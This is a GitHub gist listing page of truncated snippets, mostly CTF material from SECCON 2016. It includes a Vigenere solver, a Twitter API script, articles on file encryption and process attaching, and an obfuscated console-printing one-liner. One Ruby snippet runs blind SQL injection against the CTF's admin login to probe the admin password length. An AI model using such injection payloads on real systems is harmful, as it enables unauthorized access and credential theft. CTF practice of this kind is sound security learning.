Skip to content

Instantly share code, notes, and snippets.

@shiv3
shiv3 / セッコン.md
Last active December 12, 2016 18:50
セッコン体験記

セッコン

この記事はOIC ITCreate Club Advent Calendar 2016 の14日目の記事にしました。
http://www.adventar.org/calendars/1484

カレンダーの空きが目立つので埋めようと思って、

SECCONに4,5時間くらい参加してたので、それのアレをちょっと書きます。

@shiv3
shiv3 / solv.py
Created December 12, 2016 18:25
SECCON 2016 crypt 100 Vigenere cipher
import itertools
ALPHA = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}'
def encrypt(key, plaintext):
pairs = zip(plaintext, cycle(key))
result = ''
for pair in pairs:
total = reduce(lambda x, y: ALPHA.index(x) + ALPHA.index(y), pair)
@shiv3
shiv3 / bli_qli.rb
Created December 12, 2016 18:07
SECCON web100
require 'net/http'
require 'uri'
def req_length(l,o)
url = URI.parse('http://basiq.pwn.seccon.jp/admin/admin.cgi')
req = Net::HTTP::Post.new(url.path)
pass = " ' or (id = 'admin' and length(pass)" + o + l.to_s + " ) ; -- ' "
req.basic_auth 'admin', pass
result = Net::HTTP.new(url.host, url.port).start {|http| http.request(req) }
return result.body
end
@shiv3
shiv3 / follower_search.rb
Last active September 20, 2016 02:17
ツイッターのおすすめから自身のアカウント名を探すやつ
# -*- coding: utf-8 -*-
require "twitter"
require 'yaml'
twitter_token = YAML.load_file(ARGV[0])
client = Twitter::REST::Client.new do |config|
config.consumer_key = twitter_token["consumer_key"]
config.consumer_secret = twitter_token["consumer_secret"]
console.log("r9er9r5er4kr8msir9r2easmr3kr8ms2ir8eas3qr3kr7qeas2a4e3as5qr3kr5e2asrs9is2eisqr3kr3eas3r3s3r3s3ai2asmr3kr2qs3e2s4r3s7aes2mr2kr2mr2mias5eaies7isqr2krqr3s8mi2as2r3s3aemrkrmrsei2es9r6s4mrkasaqeieimeras2r9rs3qrkqs2qaqasre2ses6rsrsrs4mkqs3a2e2s3es8rsrsrs2qrkrms6a3s6rsrsrsrs3mrkrqs9s5rsrsrs2es2qr2kr2aes9s2rsrsrses4mr2kr4aes9se3as4ear3kr6ae6a3s5e2ar5kr9s9sa2r8".replace(/([\S])(\d)/g,(_,c,n)=>{return new Array(++n).join(c)}).split("").map((s)=>{return String.fromCharCode((s!="k"?parseInt("9c"+s,32):20) -10)}).join(""))
@shiv3
shiv3 / advent2.md
Last active December 8, 2015 10:43
暗号化するやつ

##ファイルを暗号化するシェルスクリプト

この記事は OIC ITCreate Club Advent Calendar 2015 8日目(12/8)の記事です。

見られたくないファイルを暗号化する便利そうなスクリプトを書いてみました。

$ chmod u+x vvvencryp.sh  

@shiv3
shiv3 / advent3.md
Last active November 1, 2019 01:25
プロセスアタッチ系の話

##プロセスアタッチ系の話


この記事は OIC ITCreate Club Advent Calendar 2015 11日目(12/11)の記事です。

誰も書かなそうだったので放置してたやつをせっかくなので11日目ということで。

人が動かしてるシェルとかプログラムとかにイタズラしたい、とか